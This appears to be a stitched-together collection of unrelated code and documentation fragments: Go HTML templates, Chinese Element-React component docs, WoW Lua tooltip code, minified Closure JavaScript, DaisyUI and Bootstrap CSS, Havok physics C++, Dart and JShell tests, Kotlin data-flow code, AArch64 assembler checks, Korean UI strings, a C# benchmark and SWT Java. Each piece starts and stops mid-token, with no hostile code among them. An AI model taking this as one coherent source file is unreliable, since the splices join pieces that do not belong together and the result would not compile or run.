	commentlist__66  = `</a><div class="stat flex"><span>`
	commentlist__67  = `</span></div></div></div><ul class="manage-features"><li><a href="`
	commentlist__68  = `"><svg style="width:24px;height:24px" viewBox="0 0 24 24"><path fill="currentColor" d="M12,20C7.59,20 4,16.41 4,12C4,7.59 7.59,4 12,4C16.41,4 20,7.59 20,12C20,16.41 16.41,20 12,20M12,2A10,10 0 0,0 2,12A10,10 0 0,0 12,22A10,10 0 0,0 22,12A10,10 0 0,0 12,2M13,7H11V11H7V13H11V17H13V13H17V11H13V7Z"></path></svg>New post

<svg viewBox="0 0 24 24"><path fill="currentColor" d="M20 5L20 19L4 19L4 5H20M20 3H4C2.89 3 2 3.89 2 5V19C2 20.11 2.89 21 4 21H20C21.11 21 22 20.11 22 19V5C22 3.89 21.11 3 20 3M18 15H6V17H18V15M10 7H6V13H10V7M12 9H18V7H12V9M18 11H12V13H18V11Z"></path></svg>My Posts

<svg viewBox="0 0 24 24"><path fill="currentColor" d="M20 2H4C2.9 2 2 2.9 2 4V22L6 18H20C21.1 18 22 17.1 22 16V4C22 2.9 21.1 2 20 2M20 16H5.2L4 17.2V4H20V16Z"></path></svg>My Comments

<svg viewBox="0 0 24 24"><path fill="currentColor" d="M21,17H7V3H21M21,1H7A2,2 0 0,0 5,3V17A2,2 0 0,0 7,19H21A2,2 0 0,0 23,17V3A2,2 0 0,0 21,1M3,5H1V21A2,2 0 0,0 3,23H19V21H3M15.96,10.29L13.21,13.83L11.25,11.47L8.5,15H19.5L15.96,10.29Z"></path></svg>My Files

<svg viewBox="0 0 24 24"><path fill="currentColor" d="M12,8A4,4 0 0,1 16,12A4,4 0 0,1 12,16A4,4 0 0,1 8,12A4,4 0 0,1 12,8M12,10A2,2 0 0,0 10,12A2,2 0 0,0 12,14A2,2 0 0,0 14,12A2,2 0 0,0 12,10M10,22C9.75,22 9.54,21.82 9.5,21.58L9.13,18.93C8.5,18.68 7.96,18.34 7.44,17.94L4.95,18.95C4.73,19.03 4.46,18.95 4.34,18.73L2.34,15.27C2.21,15.05 2


------------  |-------- |
| title     | Dialog 的标题 | string    | —                               | —      |
| size      | Dialog 的大小 | string    | tiny/small/large/full | small |
| top       | Dialog CSS 中的 top 值（仅在 size 不为 full 时有效） | string    | —                       | 15%     |
| modal     | 是否需要遮罩层   | boolean   | — | true |
| lockScroll | 是否在 Dialog 出现时将 body 滚动锁定 | boolean | — | true |
| customClass      | Dialog 的自定义类名 | string    | — | — |
| closeOnClickModal | 是否可以通过点击 modal 关闭 Dialog | boolean    | — | true |
| closeOnPressEscape | 是否可以通过按下 ESC 关闭 Dialog | boolean    | — | true |

### Events
| 事件名称      | 说明    | 回调参数      |
|---------- |-------- |---------- |
| onClose  | Dialog 关闭的回调 | — |
| onOpen  | Dialog 打开的回调 | — |
## Tag 标签

用于标记和选择。

### 基础用法

:::demo 由`type`属性来选择tag的类型，也可以通过`color`属性来自定义背景色。

```js
render() {
  return (
    <div>
      <Tag>标签一</Tag>
      <Tag type="gray">标签二</Tag>
      <Tag type="primary">标签三</Tag>
      <Tag type="success">标签四</Tag>
      <Tag type="warning">标签五</Tag>
      <Tag type="danger">标签六</Tag>
    </div>
  )
}
```
:::

### 可移除标签

:::demo 设置`closable`属性来定义一个可移除的标签，接受一个`Boolean`，设置为`true`即可。默认的标签移除时会附带渐变动画，如果不想使用，可以设置`closeTransition`属性，它接受一个`Boolean`，true 为关闭。设置`close`事件可以处理关闭后的回调函数。

```js
constructor(props) {
  super(props);

  this.state = {
    tags: [
      { key: 1, name: '标签一', type: '' },
      { key: 2, name: '标签二', type: 'gray' },
      { key: 5, name: '标签三', type: 'primary' },
      { key: 3, name: '标签四', type: 'success' },
      { key: 4, name: '标签五', type: 'warning' },
      { key: 6, name: '标签六', type: 'danger' }
    ]
  }
}

handleClose(tag) {
  const { tags } = this.state;

  tags.splice(tags.map(el => el.key).indexOf(tag.key), 1);

  this.setState({ tag });
}

render() {
  return (
    <div>
      {
        this.state.tags.map(tag => {
          return (
            <Tag
              key={tag.key}
              closable={true}
              type={tag.type}
              closeTransition={false}
              onClose={this.handleClose.bind(this, tag)}>{tag.name}</Tag>
          )
        })
      }
    </div>
  )
}
```
:::

### 动态编辑标签

动态编辑标签可以通过点击标签关闭按钮后触发的 `onClose` 事件来实现

:::demo
```js
constructor(props) {
  super(props);

  this.state = {
    dynamicTags: ['标签一', '标签二', '标签三'],
    inputVisible: false,
    inputValue: ''
  }
}

onKeyUp(e) {
  if (e.keyCode === 13) {
    this.handleInputConfirm();
  }
}

on


ButtonSpendMixin:AddTooltipInfo(tooltip)
	local hasIncreasedRanks = self:HasIncreasedRanks();
	local rankLine = TALENT_BUTTON_TOOLTIP_RANK_FORMAT:format(self.nodeInfo.currentRank, self.nodeInfo.maxRanks);
	if FlagsUtil.IsSet(self.nodeInfo.flags, Enum.TraitNodeFlag.HideMaxRank) then
		rankLine = TALENT_BUTTON_TOOLTIP_RANK_NO_MAX_FORMAT:format(self.nodeInfo.currentRank);
	end

	GameTooltip_AddColoredLine(tooltip, rankLine, hasIncreasedRanks and GREEN_FONT_COLOR or HIGHLIGHT_FONT_COLOR);

	if hasIncreasedRanks then
		local increasedTraitDataList = C_Traits.GetIncreasedTraitData(self:GetNodeID(), self:GetEntryID());
		for	_index, increasedTraitData in ipairs(increasedTraitDataList) do
			local r, g, b = C_Item.GetItemQualityColor(increasedTraitData.itemQualityIncreasing);
			local qualityColor = CreateColor(r, g, b, 1);
			local coloredItemName = qualityColor:WrapTextInColorCode(increasedTraitData.itemNameIncreasing);
			local wrapText = true;
			GameTooltip_AddColoredLine(tooltip, TALENT_FRAME_INCREASED_RANKS_TEXT:format(increasedTraitData.numPointsIncreased, coloredItemName), GREEN_FONT_COLOR, wrapText);
		end
	end

	TalentDisplayMixin.AddTooltipInfo(self, tooltip);
end

function TalentButtonSpendMixin:AddTooltipInstructions(tooltip)
	TalentDisplayMixin.AddTooltipInstructions(self, tooltip);

	local canPurchase = self:CanPurchaseRank();
	local canRefund = self:CanRefundRank();
	local canRepurchase = self:CanCascadeRepurchaseRanks();
	local isGhosted = self:IsGhosted();

	-- We want a preceding blank line if there are any instructions, but not lines between instructions.
	if canPurchase or canRefund or canRepurchase or isGhosted then
		GameTooltip_AddBlankLineToTooltip(tooltip);
	end

	if canPurchase then
		GameTooltip_AddInstructionLine(tooltip, TALENT_BUTTON_TOOLTIP_PURCHASE_INSTRUCTIONS);
	elseif canRefund then
		GameTooltip_AddDisabledLine(tooltip, TALENT_BUTTON_TOOLTIP_REFUND_INSTRUCTIONS);
	end

	if canRepurchase then
		GameTooltip_AddColoredLine(tooltip, TALENT_BUTTON_TOOLTIP_REPURCHASE_INSTRUCTIONS, BRIGHTBLUE_FONT_COLOR);
	elseif isGhosted then
		GameTooltip_AddColoredLine(tooltip, TALENT_BUTTON_TOOLTIP_CLEAR_REPURCHASE_INSTRUCTIONS, BRIGHTBLUE_FONT_COLOR);
	end

	if self:HasMassPurchase() then
		GameTooltip_AddInstructionLine(tooltip, TALENT_BUTTON_TOOLTIP_QUICK_ASSIGN_INSTRUCTIONS);
	end
end


complete"!=i.readyState||(pr(i,t.Og||!1,s),a.callback(null))},i.onerror=function(){pr(i,!0,s),er(a,new fr(0,"Error while loading script "+r))},o=t.attributes||{},be(o,{type:"text/javascript",charset:"UTF-8"}),wn(i,o),_n(i,e),hr(n).appendChild(i),a},hr=function(e){var t;return(t=(e||document).getElementsByTagName("HEAD"))&&0!=t.length?t[0]:e.documentElement},dr=function(){if(this&&this.Te){var e=this.Te;e&&"SCRIPT"==e.tagName&&pr(e,!0,this.jc)}},pr=function(e,t,n){null!=n&&r.clearTimeout(n),e.onload=s,e.onerror=s,e.onreadystatechange=s,t&&window.setTimeout(function(){e&&e.parentNode&&e.parentNode.removeChild(e)},0)},fr=function(e,t){var n="Jsloader error (code #"+e+")";t&&(n+=": "+t),M.call(this,n),this.code=e};_(fr,M);var gr=function(e,t,n,r,i){this.reset(e,t,n,r,i)};gr.prototype.se=null;var mr=0;gr.prototype.reset=function(e,t,n,r,i){"number"==typeof i||mr++,r||y(),this.Vb=e,this.Zf=t,delete this.se},gr.prototype.Ue=function(e){this.Vb=e};var vr=function(e){this.Je=e,this.ze=this.kd=this.Vb=this.w=null},yr=function(e,t){this.name=e,this.value=t};yr.prototype.toString=function(){return this.name};var _r=new yr("SEVERE",1e3),Mr=new yr("INFO",800),wr=new yr("CONFIG",700),br=new yr("FINE",500);vr.prototype.getName=function(){return this.Je},vr.prototype.getParent=function(){return this.w},vr.prototype.Ue=function(e){this.Vb=e};var Er=function(e){return e.Vb?e.Vb:e.w?Er(e.w):(P("Root logger has no level set."),null)};vr.prototype.log=function(e,t,n){if(e.value>=Er(this).value)for(d(t)&&(t=t()),e=new gr(e,String(t),this.Je),n&&(e.se=n),n="log:"+e.Zf,(t=r.console)&&t.timeStamp&&t.timeStamp(n),(t=r.msWriteProfilerMark)&&t(n),n=this;n;){var i=n,o=e;if(i.ze)for(var a=0;t=i.ze[a];a++)t(o);n=n.getParent()}},vr.prototype.info=function(e,t){this.log(Mr,e,t)},vr.prototype.config=function(e,t){this.log(wr,e,t)};var Tr={},xr=null,Nr=function(e){xr||(xr=new vr(""),Tr[""]=xr,xr.Ue(wr));var t;if(!(t=Tr[e])){t=new vr(e);var n=e.lastIndexOf("."),r=e.substr(n+1);(n=Nr(e.substr(0,n))).kd||(n.kd={}),n.kd[r]=t,t.w=n,Tr[e]=t}return t},Sr=function(){nt.call(


:32.1785% 0.02476 255.701624;--nc:89.4994% 0.011585 252.096176;--b1:100% 0 0;--b2:96.1151% 0 0;--b3:92.4169% 0.00108 197.137559;--bc:27.8078% 0.029596 256.847952}[data-theme=dark]{color-scheme:dark;--in:72.06% 0.191 231.6;--su:64.8% 0.150 160;--wa:84.71% 0.199 83.87;--er:71.76% 0.221 22.18;--pc:13.138% 0.0392 275.75;--sc:14.96% 0.052 342.55;--ac:14.902% 0.0334 183.61;--inc:0% 0 0;--suc:0% 0 0;--wac:0% 0 0;--erc:0% 0 0;--rounded-box:1rem;--rounded-btn:0.5rem;--rounded-badge:1.9rem;--animation-btn:0.25s;--animation-input:.2s;--btn-focus-scale:0.95;--border-btn:1px;--tab-border:1px;--tab-radius:0.5rem;--p:65.69% 0.196 275.75;--s:74.8% 0.26 342.55;--a:74.51% 0.167 183.61;--n:31.3815% 0.021108 254.139175;--nc:74.6477% 0.0216 264.435964;--b1:25.3267% 0.015896 252.417568;--b2:23.2607% 0.013807 253.100675;--b3:21.1484% 0.01165 254.087939;--bc:74.6477% 0.0216 264.435964}[data-theme=dracula]{color-scheme:dark;--b2:26.8053% 0.020556 277.508664;--b3:24.7877% 0.019009 277.508664;--pc:15.0922% 0.036614 346.812432;--sc:14.8405% 0.029709 301.883095;--ac:16.6785% 0.024826 66.558491;--nc:87.8891% 0.006515 275.524078;--inc:17.6526% 0.018676 212.846491;--suc:17.4199% 0.043903 148.024881;--wac:19.1068% 0.026849 112.757109;--erc:13.6441% 0.041266 24.430965;--rounded-box:1rem;--rounded-btn:0.5rem;--rounded-badge:1.9rem;--animation-btn:0.25s;--animation-input:.2s;--btn-focus-scale:0.95;--border-btn:1px;--tab-border:1px;--tab-radius:0.5rem;--p:75.4611% 0.18307 346.812432;--s:74.2023% 0.148546 301.883095;--a:83.3927% 0.124132 66.558491;--n:39.4456% 0.032576 275.524078;--b1:28.8229% 0.022103 277.508664;--bc:97.7477% 0.007913 106.545019;--in:88.263% 0.09338 212.846491;--su:87.0995% 0.219516 148.024881;--wa:95.5338% 0.134246 112.757109;--er:68.2204% 0.206328 24.430965}[data-theme=night]{color-scheme:dark;--b2:19.3144% 0.037037 265.754874;--b3:17.8606% 0.034249 265.754874;--bc:84.1536% 0.007965 265.754874;--pc:15.0703


 s;
}

IVP_BOOL is_point_on_edge(IVP_U_Point *point, IVP_U_Point *edge_startpoint, IVP_U_Point *edge_endpoint) {

    IVP_U_Point vec(edge_endpoint);
    vec.subtract(edge_startpoint, &vec);
    IVP_U_Straight edge(edge_startpoint, &vec);
    if ( edge.get_quad_dist_to_point(point) < IVP_MERGE_EPS*IVP_MERGE_EPS ) {
	IVP_DOUBLE s_val = ipoe_calc_s_val(point, &vec, edge_startpoint, edge_endpoint);
	if ( (0.0 < s_val) && (s_val < 1.0) ) {
	    return(IVP_TRUE);
	}
	else {
	    return(IVP_FALSE);
	}
    }
    else {
	return(IVP_FALSE);
    }
}

void repair_geometry(IVP_Concave_Polyhedron *concave_polyhedron) {

    // process all points in object.
    int x;
    for (x=0; x<concave_polyhedron->points.len(); x++) {
	IVP_U_Point *p = concave_polyhedron->points.element_at(x);

	// for each point: process all faces in object.
	int y;
	for (y=0; y<concave_polyhedron->faces.len(); y++) {

	    IVP_Concave_Polyhedron_Face *face = concave_polyhedron->faces.element_at(y);
	    int first_point = face->point_offset.element_at(0)->offset;

	    // for each face process all edges in face.
	    int z;
	    int n_points = face->point_offset.len();
	    for (z=0; z<n_points; z++) {

		int start, end;
		if ( z == n_points-1 ) {
		    start = face->point_offset.element_at(z+0)->offset;
		    end   = first_point;
		}
		else {
		    start = face->point_offset.element_at(z+0)->offset;
		    end   = face->point_offset.element_at(z+1)->offset;
		}

		// if current point is either start or end point of current edge we can
		// gladly skip it.
		if ( p == concave_polyhedron->points.element_at(start) ) {
		    continue;
		}
		if ( p == concave_polyhedron->points.element_at(end) ) {
		    continue;
		}

		if ( is_point_on_edge(p, concave_polyhedron->points.element_at(start), concave_polyhedron->points.element_at(end)) ) {
		    printf("T-Junction found for point with offset <%d>\n", concave_polyhedron->points.index_of(p));
		    IVP_Concave_Polyhedron_Face_Pointoffset *new_offset = new IVP_Concave_Polyhedron_Face_Pointoffset();
		    new_offset->offset = concave_polyhedron->points.index_of(p);
		    face->point_offset.insert_after(z, new_offset);
		    n_points++;
		}
//		else {
//		    printf("Valid point\n");
//		}

	    }

	}
    }

    return;
}

IVP_Concave_Polyhedron * IVP_SurfaceBuilder_3ds::convert_3ds_to_concave(const char *filename, IVP_Template_SurfaceBuilder_3ds *params){

//****
#ifndef GEKKO
//****

    char * infn=0, * outfn=0; // , * name=DEFNAME;
	FILE * inf, * outf;
	int n;
	H3dsScene * scene;
//    float32 xscale, yscale, zscale;

#if 0
	argc--;
	argv++;

	if(!argc) {
        ivp_message(
               "3D Studio native objectfile converter v2.0\n"
			   "by Mats Byggmastar 1996 Espoo, Finland\n"
			   "Use:  3DSCO [params...] inputfile.3DS [outputfile]\n"
               "params:\n"


 value) {
  result = 2;
}

void set topLevelFieldAndDuplicateSetter(int value) {
  result = 3;
}

final int topLevelDuplicateFieldAndDuplicateSetter = 1;
final int topLevelDuplicateFieldAndDuplicateSetter = 2;
void set topLevelDuplicateFieldAndDuplicateSetter(int value) {
  result = 3;
}

void set topLevelDuplicateFieldAndDuplicateSetter(int value) {
  result = 4;
}

int topLevelMethodAndSetter1() => 1;
void set topLevelMethodAndSetter1(int value) {
  result = 2;
}

void set topLevelMethodAndSetter2(int value) {
  result = 2;
}

int topLevelMethodAndSetter2() => 1;

var field = topLevelMethod;

@topLevelMethod
test() {
  topLevelMethod();
  (topLevelMethod)();
  if (topLevelMethod) {}
  topLevelMethod;
  @topLevelMethod
  var foo;
  switch (null) {
    case topLevelMethod:
  }
  topLevelMethod || topLevelMethod;
  topLevelMethod + 0;
  topLevelMethod ~ 0;
  topLevelMethod ?? topLevelMethod;
  topLevelMethod?.foo;
  topLevelMethod?.foo();
  topLevelGetter;
  topLevelSetter = 0;
  topLevelField;
  topLevelField = 0;
  topLevelDuplicateFieldAndSetter;
  topLevelDuplicateFieldAndSetter = 0;
  topLevelFieldAndDuplicateSetter;
  topLevelFieldAndDuplicateSetter = 0;
  topLevelDuplicateFieldAndDuplicateSetter;
  topLevelDuplicateFieldAndDuplicateSetter = 0;
  topLevelMethodAndSetter1 = 0;
  topLevelMethodAndSetter2 = 0;
}

main() {
  result = null;
  topLevelFieldAndSetter1 = 0;
  expect(null, result);
  expect(0, topLevelFieldAndSetter1);

  result = null;
  topLevelFieldAndSetter2 = 0;
  expect(null, result);
  expect(0, topLevelFieldAndSetter2);

  result = null;
  topLevelLateFinalFieldAndSetter1 = 0;
  expect(null, result);
  expect(0, topLevelLateFinalFieldAndSetter1);

  result = null;
  topLevelLateFinalFieldAndSetter2 = 0;
  expect(null, result);
  expect(0, topLevelLateFinalFieldAndSetter2);

  expect(1, topLevelMethodAndSetter1());

  expect(1, topLevelMethodAndSetter2());
}

expect(expected, actual) {
  if (expected != actual) throw 'Expected $expected, actual $actual';
}

throws(dynamic Function() f) {
  try {
    f();
  } catch (e) {
    print(e);
    return;
  }
  throw 'Expected exception.';
}
// Copyright (c) 2021, the Dart project authors.  Please see the AUTHORS file
// for details. All rights reserved. Use of this source code is governed by a
// BSD-style license that can be found in the LICENSE file.

var result;

extension Extension on int {
  static int staticMethod() => 1;
  static int staticMethod() => 2;

  static int get staticGetter => 1;
  static int get staticGetter => 2;

  static void set staticSetter(value) {
    result = 1;
  }

  static void set staticSetter(value) {
    result = 2;
  }

  static int staticField = 1;
  static int staticField = 2;

  static int staticFieldAndSetter1 = 1;
  static void set staticFieldAndSetter1(int value


                param.prevDFGEdges.addContextSensitive(
                    argumentEdge.end,
                    callingContext = CallingContextIn(call),
                )
                argumentIndex++
                continue // Move to next parameter
            }

            // Handle default parameters when not explicitly provided
            val default = param.default
            if (default != null) {
                param.prevDFGEdges.addContextSensitive(
                    default,
                    callingContext = CallingContextIn(call),
                )
            }
        }
    }

    /**
     * Inverse operation of [attachCallParameters]
     *
     * @param target
     * @param arguments
     */
    fun detachCallParameters(target: FunctionDeclaration, arguments: List<Expression>) {
        for (param in target.parameters) {
            // A param could be variadic, so multiple arguments could be set as incoming DFG
            param.prevDFGEdges
                .filter { it.start in arguments }
                .forEach { param.nextDFGEdges.remove(it) }
        }
    }

    /**
     * This function returns the set of adjacent DFG nodes that is contained in the nodes subgraph.
     *
     * @param n Node of interest
     * @param incoming whether the node connected by an incoming or, if false, outgoing DFG edge
     * @return
     */
    fun getAdjacentDFGNodes(n: AstNode, incoming: Boolean): MutableList<AstNode> {
        val subnodes = n?.astChildren ?: listOf()
        val adjacentNodes =
            if (incoming) {
                subnodes.filter { it.nextDFG.contains(n) }.toMutableList()
            } else {
                subnodes.filter { it.prevDFG.contains(n) }.toMutableList()
            }
        return adjacentNodes
    }

    /**
     * Connects the node `n` with the node `branchingExp` if present or with the node
     * `branchingDecl`. The assumption is that only `branchingExp` or `branchingDecl` are present,
     * e.g. C++.
     *
     * @param n
     * @param branchingExp
     * @param branchingDeclaration
     */
    fun addDFGEdgesForMutuallyExclusiveBranchingExpression(
        n: Node,
        branchingExp: Expression?,
        branchingDeclaration: Declaration?,
    ) {
        var conditionNodes = mutableListOf<AstNode>()
        if (branchingExp != null) {
            conditionNodes = mutableListOf()
            conditionNodes.add(branchingExp)
        } else if (branchingDeclaration != null) {
            conditionNodes = getAdjacentDFGNodes(branchingDeclaration, true)
        }
        conditionNodes.forEach { n.prevDFGEdges += it }
    }

    enum class Connect {
        NODE,
        SUBTREE,
    }

    enum class Quantifier {
        ANY,
        ALL,
    }

    enum class Edge {
        ENTRIES,
        EXITS,
    }
}
/*
 * Copyright (c) 2025, Fraunhofer AISEC. All rights reserved.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for


        //assertEquals(getState().source(snippet), src);
        //assertEquals(snippet, undefKey);
        assertEquals(getState().status(undefKey), RECOVERABLE_NOT_DEFINED);
        List<String> unr = getState().unresolvedDependencies((VarSnippet) undefKey).collect(toList());;
        assertEquals(unr.size(), 1);
        assertEquals(unr.get(0), "class undefined");
        assertVariables(variable("undefined", "d"));
    }

    public void lvti() {
        assertEval("var d = 234;", "234");
        assertEval("class Test<T> { T[][] get() { return null; } }", added(VALID));
        assertEval("Test<? extends String> test() { return new Test<>(); }", added(VALID));
        assertEval("var t = test().get();", added(VALID));
        assertEval("<Z extends Runnable & CharSequence> Z get1() { return null; }", added(VALID));
        assertEval("var i1 = get1();", added(VALID));
        assertEval("void t1() { i1.run(); i1.length(); }", added(VALID));
        assertEval("i1 = 1;", DiagCheck.DIAG_ERROR, DiagCheck.DIAG_OK, ste(MAIN_SNIPPET, NONEXISTENT, REJECTED, false, null));
        assertEval("<Z extends Number & CharSequence> Z get2() { return null; }", added(VALID));
        assertEval("var i2 = get2();", added(VALID));
        assertEval("void t2() { i2.length(); }", added(VALID));
        assertEval("var r1 = new Runnable() { public void run() { } public String get() { return \"good\"; } };", added(VALID));
        assertEval("Runnable r2 = r1;");
        assertEval("r1.get()", "\"good\"");
        assertEval("var v = r1.get();", "\"good\"");
        assertEval("var r3 = new java.util.ArrayList<String>(42) { public String get() { return \"good\"; } };", added(VALID));
        assertEval("r3.get()", "\"good\"");
        assertEval("class O { public class Inner { public String test() { return \"good\"; } } }");
        assertEval("var r4 = new O().new Inner() { public String get() { return \"good\"; } };");
        assertEval("r4.get()", "\"good\"");
        assertEval("class O2 { public class Inner { public Inner(int i) { } public String test() { return \"good\"; } } }");
        assertEval("var r5 = new O2().new Inner(1) { public String get() { return \"good\"; } };");
        assertEval("r5.get()", "\"good\"");
        assertEval("<Z> Z identity(Z z) { return z; }");
        assertEval("var r6 = identity(new Object() { String s = \"good\"; });");
        assertEval("r6.s", "\"good\"");
        assertEval("interface I<B, C> { C get(B b); }");
        assertEval("<A, B, C> C cascade(A a, I<A, B> c1, I<B, C> c2) { return c2.get(c1.get(a)); }");
        assertEval("var r7 = cascade(\"good\", a -> new Object() { String s = a; }, b -> new java.util.ArrayList<String>(5) { String s = b.s; });");
        assertEval("r7.s", "\"good\"");
        assertEval("var r8 = cascade(\"good\", a -> new Object() { String s = a; public String getS() { return s; } }, b -> new java.util.ArrayList<String>(5) { String s = b.getS(); public String getS() { return s; } });");
        assertEval("r8.getS()", "\"good\"");
        assertEval("var r9 = new Object() { class T { class Inner { public S


0,0,0,0.25)}.bs-popover-bottom>.arrow::after,.bs-popover-auto[x-placement^="bottom"]>.arrow::after{top:1px;border-width:0 0.5rem 0.5rem 0.5rem;border-bottom-color:#fff}.bs-popover-bottom .popover-header::before,.bs-popover-auto[x-placement^="bottom"] .popover-header::before{position:absolute;top:0;left:50%;display:block;width:1rem;margin-left:-0.5rem;content:"";border-bottom:1px solid #F8F5F0}.bs-popover-left,.bs-popover-auto[x-placement^="left"]{margin-right:0.5rem}.bs-popover-left>.arrow,.bs-popover-auto[x-placement^="left"]>.arrow{right:calc((0.5rem + 1px) * -1);width:0.5rem;height:1rem;margin:0.3rem 0}.bs-popover-left>.arrow::before,.bs-popover-auto[x-placement^="left"]>.arrow::before{right:0;border-width:0.5rem 0 0.5rem 0.5rem;border-left-color:rgba(0,0,0,0.25)}.bs-popover-left>.arrow::after,.bs-popover-auto[x-placement^="left"]>.arrow::after{right:1px;border-width:0.5rem 0 0.5rem 0.5rem;border-left-color:#fff}.popover-header{padding:0.5rem 0.75rem;margin-bottom:0;font-size:0.875rem;background-color:#F8F5F0;border-bottom:1px solid #f0e9df;border-top-left-radius:calc(0.3rem - 1px);border-top-right-radius:calc(0.3rem - 1px)}.popover-header:empty{display:none}.popover-body{padding:0.5rem 0.75rem;color:#3E3F3A}.carousel{position:relative}.carousel.pointer-event{-ms-touch-action:pan-y;touch-action:pan-y}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-inner::after{display:block;clear:both;content:""}.carousel-item{position:relative;display:none;float:left;width:100%;margin-right:-100%;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-transition:-webkit-transform 0.6s ease-in-out;transition:-webkit-transform 0.6s ease-in-out;transition:transform 0.6s ease-in-out;transition:transform 0.6s ease-in-out, -webkit-transform 0.6s ease-in-out}@media (prefers-reduced-motion: reduce){.carousel-item{-webkit-transition:none;transition:none}}.carousel-item.active,.carousel-item-next,.carousel-item-prev{display:block}.carousel-item-next:not(.carousel-item-left),.active.carousel-item-right{-webkit-transform:translateX(100%);transform:translateX(100%)}.carousel-item-prev:not(.carousel-item-right),.active.carousel-item-left{-webkit-transform:translateX(-100%);transform:translateX(-100%)}.carousel-fade .carousel-item{opacity:0;-webkit-transition-property:opacity;transition-property:opacity;-webkit-transform:none;transform:none}.carousel-fade .carousel-item.active,.carousel-fade .carousel-item-next.carousel-item-left,.carousel-fade .carousel-item-prev.carousel-item-right{z-index:1;opacity:1}.carousel-fade .active.carousel-item-left,.carousel-fade .active.carousel-item-right{z-index


----------------------------------
// Vector Floating Point Move Immediate
//----------------------------------------------------------------------
         fmov v1.2s, #1.0
         fmov v15.4s, #1.0
         fmov v31.2d, #1.0

// CHECK:  fmov v1.2s, #{{1.00000000|1.000000e\+00}}     // encoding: [0x01,0xf6,0x03,0x0f]
// CHECK:  fmov v15.4s, #{{1.00000000|1.000000e\+00}}    // encoding: [0x0f,0xf6,0x03,0x4f]
// CHECK:  fmov v31.2d, #{{1.00000000|1.000000e\+00}}    // encoding: [0x1f,0xf6,0x03,0x6f]

//----------------------------------------------------------------------
// Vector Move -  register
//----------------------------------------------------------------------

      mov v0.8b, v31.8b
      mov v15.16b, v16.16b
      orr v0.8b, v31.8b, v31.8b
      orr v15.16b, v16.16b, v16.16b

// CHECK:   mov v0.8b, v31.8b      // encoding: [0xe0,0x1f,0xbf,0x0e]
// CHECK:   mov v15.16b, v16.16b  // encoding: [0x0f,0x1e,0xb0,0x4e]
// CHECK:   mov v0.8b, v31.8b      // encoding: [0xe0,0x1f,0xbf,0x0e]
// CHECK:   mov v15.16b, v16.16b  // encoding: [0x0f,0x1e,0xb0,0x4e]


��밀번호가 없습니다.\n새로 만드시겠습니까?',
      CREATE_PASSWORD_SUCCESS: '비밀번호가 설정되었습니다',
      CREATE_PASSWORD_FAIL: '비밀번호가 설정되지 않았습니다',
      UNLOCK_FAIL: '잠금해제에 실패하였습니다',
      PASSWORD_CHANGED: '비밀번호가 변경되었습니다',
      PASSWORD_UNCHANGED: '비밀번호가 변경되지 않았습니다',
      CANCEL: '취소',
      OK: '확인',
      ADD: '추가',
      MODIFY: '수정',
      CREATE: '생성',
      NO_TODOS: '기록이 없습니다',
      CATEGORY: '카테고리',
      REMOVE_CATEGORY: '카테고리 삭제',
      REMOVE_CATEGORY_BODY: '해당 카테고리를 삭제하시겠습니까?',
      CATEGORY_NONE: '없음',
      ADD_TASK: '작업 추가',
      MODIFY_TASK: '작업 수정',
      CHOOSE_PHOTO: '사진 선택',
      SETTINGS_LOCK: '잠금',
      SETTINGS_USE_LOCK_SCREEN: '잠금화면',
      SETTINGS_RESET_PASSWORD: '비밀번호 재설정',
      REMOVE_SELECTED_TO_DOS_TITLE: '작업 삭제',
      RECORD_NAVIGATION_TITLE: '기록',
      PET_NAVIGATION_TITLE: '펫',
      RANKING_NAVIGATION_TITLE: '랭킹',
      SETTINGS_NAVIGATION_TITLE: '설정',
      CHECK_POINT_HINT: '이번주의 다짐을 적어보세요',
      DAY_MEMO_HINT: '오늘의 메모를 적어보세요',
      FIRST_TO_DO_CHECK_TITLE: '취소 불가능한 행위',
      FIRST_TO_DO_CHECK_BODY: '완료된 작업은 다시 미완료로 변경할 수 없습니다. 진행하시겠습니까?\n(최초 한번만 보여집니다.)',
      WEEK_TUTORIAL_HI: '환영합니다!',
      WEEK_TUTORIAL_EXPLAIN: '준비되셨나요?',
      WEEK_TUTORIAL_CLICK_OR_SWIPE: '화면을 스와이프해서\n이전, 다음 주로 이동해보세요',
      PREV: '이전',


 i < ARRAY_SIZE; i++)
            {
                int randomNumber = random.Next();
                _quickSortArray[i] = randomNumber;
                _mergeSortArray[i] = randomNumber;
            }
        }

        [Benchmark]
        public void QuickSort()
        {
            Sort.QuickSort(_quickSortArray, 0, _quickSortArray.Length - 1);
        }

        [Benchmark]
        public void MergeSort()
        {
            Sort.MergeSort(_mergeSortArray, 0, _mergeSortArray.Length - 1);
        }
    }
}


result = super.WM_SETFOCUS (wParam, lParam);
	if (lastFocusId != -1 && handle == OS.GetFocus ()) {
		int index = (int)OS.SendMessage (handle, OS.TB_COMMANDTOINDEX, lastFocusId, 0);
		OS.SendMessage (handle, OS.TB_SETHOTITEM, index, 0);
	}
	return result;
}

@Override
LRESULT WM_SIZE (long wParam, long lParam) {
	if (ignoreResize) {
		long code = callWindowProc (handle, OS.WM_SIZE, wParam, lParam);
		if (code == 0) return LRESULT.ZERO;
		return new LRESULT (code);
	}
	LRESULT result = super.WM_SIZE (wParam, lParam);
	if (isDisposed ()) return result;
	/*
	* Bug in Windows.  The code in Windows that determines
	* when tool items should wrap seems to use the window
	* bounds rather than the client area.  Unfortunately,
	* tool bars with the style TBSTYLE_EX_HIDECLIPPEDBUTTONS
	* use the client area.  This means that buttons which
	* overlap the border are hidden before they are wrapped.
	* The fix is to compute TBSTYLE_EX_HIDECLIPPEDBUTTONS
	* and set it each time the tool bar is resized.
	*/
	if ((style & SWT.BORDER) != 0 && (style & SWT.WRAP) != 0) {
		RECT windowRect = new RECT ();
		OS.GetWindowRect (handle, windowRect);
		int index = 0, border = getBorderWidthInPixels () * 2;
		RECT rect = new RECT ();
		int count = (int)OS.SendMessage (handle, OS.TB_BUTTONCOUNT, 0, 0);
		while (index < count) {
			OS.SendMessage (handle, OS.TB_GETITEMRECT, index, rect);
			OS.MapWindowPoints (handle, 0, rect, 2);
			if (rect.right > windowRect.right - border * 2) break;
			index++;
		}
